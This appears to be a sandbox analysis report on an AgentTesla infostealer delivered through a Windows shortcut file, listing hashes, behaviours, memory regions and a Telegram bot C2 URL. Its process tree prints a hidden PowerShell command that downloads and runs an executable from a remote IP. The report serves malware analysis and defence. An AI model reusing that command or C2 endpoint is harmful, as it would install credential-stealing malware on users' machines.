Analysis

  • max time kernel
    145s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231127-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-12-2023 02:33

General

  • Target

    2569719f10716037055dcfd1881afbe2f02a2683a4f93aea3e66319abc9c51a6.lnk

  • Size

    1KB

  • MD5

    5a386046ab5890a19a7960fa89039bb5

  • SHA1

    a0f02f841aeeac4a3642180769bffcbe840f0d55

  • SHA256

    2569719f10716037055dcfd1881afbe2f02a2683a4f93aea3e66319abc9c51a6

  • SHA512

    1be349998ac8d79ba279d561c0fca859a3568729b5c06dfa345b71d0359ec1c0afb553a878e4484a546842962a5744a995b86162db5ff74b9b0163197b6c562d

Malware Config

Extracted

Family

agenttesla

C2

https://api.telegram.org/bot6184846740:AAFy48QnJEpbqT9DY_xx392kz1tH5_khlWo/

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\2569719f10716037055dcfd1881afbe2f02a2683a4f93aea3e66319abc9c51a6.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2168
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell.exe -windowstyle hidden -command "& {Invoke-WebRequest -Uri 'http://185.196.9.20/test/sleeps.exe' -OutFile $env:TEMP\sleeps.exe; & $env:TEMP\sleeps.exe}"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2656
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -windowstyle hidden -command "& {Invoke-WebRequest -Uri 'http://185.196.9.20/test/sleeps.exe' -OutFile $env:TEMP\sleeps.exe; & $env:TEMP\sleeps.exe}"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3552
        • C:\Users\Admin\AppData\Local\Temp\sleeps.exe
          "C:\Users\Admin\AppData\Local\Temp\sleeps.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1688
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            #cmd
            5⤵
            • Accesses Microsoft Outlook profiles
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • outlook_office_path
            • outlook_win_path
            PID:3352

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vsonb5oq.xeq.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\sleeps.exe

    Filesize

    14KB

    MD5

    716c27c08649ad5319ef1c41950c1c82

    SHA1

    a6ea541cf0cbb41550dcde53b3da372f16c31652

    SHA256

    f62640b8047a6105ba98ab690d7908f6c3e8aef22f05d6512e838457a01e0593

    SHA512

    f7bcb38737514e0d335ea3d7db8a172e077ad00825740b4e54dedb42fcdc135456981ce2774c9b328809cb28a83b5efe9a281f40b641af1985ed3d2493b0b40e

  • C:\Users\Admin\AppData\Local\Temp\sleeps.exe

    Filesize

    14KB

    MD5

    716c27c08649ad5319ef1c41950c1c82

    SHA1

    a6ea541cf0cbb41550dcde53b3da372f16c31652

    SHA256

    f62640b8047a6105ba98ab690d7908f6c3e8aef22f05d6512e838457a01e0593

    SHA512

    f7bcb38737514e0d335ea3d7db8a172e077ad00825740b4e54dedb42fcdc135456981ce2774c9b328809cb28a83b5efe9a281f40b641af1985ed3d2493b0b40e

  • memory/1688-28-0x0000000074DE0000-0x0000000075590000-memory.dmp

    Filesize

    7.7MB

  • memory/1688-25-0x0000000005330000-0x0000000005340000-memory.dmp

    Filesize

    64KB

  • memory/1688-24-0x0000000000920000-0x000000000092A000-memory.dmp

    Filesize

    40KB

  • memory/1688-23-0x0000000074DE0000-0x0000000075590000-memory.dmp

    Filesize

    7.7MB

  • memory/3352-26-0x0000000000400000-0x0000000000430000-memory.dmp

    Filesize

    192KB

  • memory/3352-44-0x0000000006980000-0x0000000006A1C000-memory.dmp

    Filesize

    624KB

  • memory/3352-48-0x0000000005390000-0x00000000053A0000-memory.dmp

    Filesize

    64KB

  • memory/3352-47-0x0000000074DE0000-0x0000000075590000-memory.dmp

    Filesize

    7.7MB

  • memory/3352-46-0x0000000006A90000-0x0000000006A9A000-memory.dmp

    Filesize

    40KB

  • memory/3352-45-0x0000000006D20000-0x0000000006DB2000-memory.dmp

    Filesize

    584KB

  • memory/3352-34-0x0000000006AB0000-0x0000000006C72000-memory.dmp

    Filesize

    1.8MB

  • memory/3352-29-0x0000000074DE0000-0x0000000075590000-memory.dmp

    Filesize

    7.7MB

  • memory/3352-30-0x0000000005A90000-0x0000000006034000-memory.dmp

    Filesize

    5.6MB

  • memory/3352-31-0x0000000005390000-0x00000000053A0000-memory.dmp

    Filesize

    64KB

  • memory/3352-32-0x0000000005410000-0x0000000005476000-memory.dmp

    Filesize

    408KB

  • memory/3352-33-0x0000000006890000-0x00000000068E0000-memory.dmp

    Filesize

    320KB

  • memory/3552-10-0x00007FFF309A0000-0x00007FFF31461000-memory.dmp

    Filesize

    10.8MB

  • memory/3552-22-0x00007FFF309A0000-0x00007FFF31461000-memory.dmp

    Filesize

    10.8MB

  • memory/3552-0-0x0000017732070000-0x0000017732092000-memory.dmp

    Filesize

    136KB

  • memory/3552-11-0x0000017731740000-0x0000017731750000-memory.dmp

    Filesize

    64KB

  • memory/3552-12-0x0000017731740000-0x0000017731750000-memory.dmp

    Filesize

    64KB

  • memory/3552-13-0x0000017731740000-0x0000017731750000-memory.dmp

    Filesize

    64KB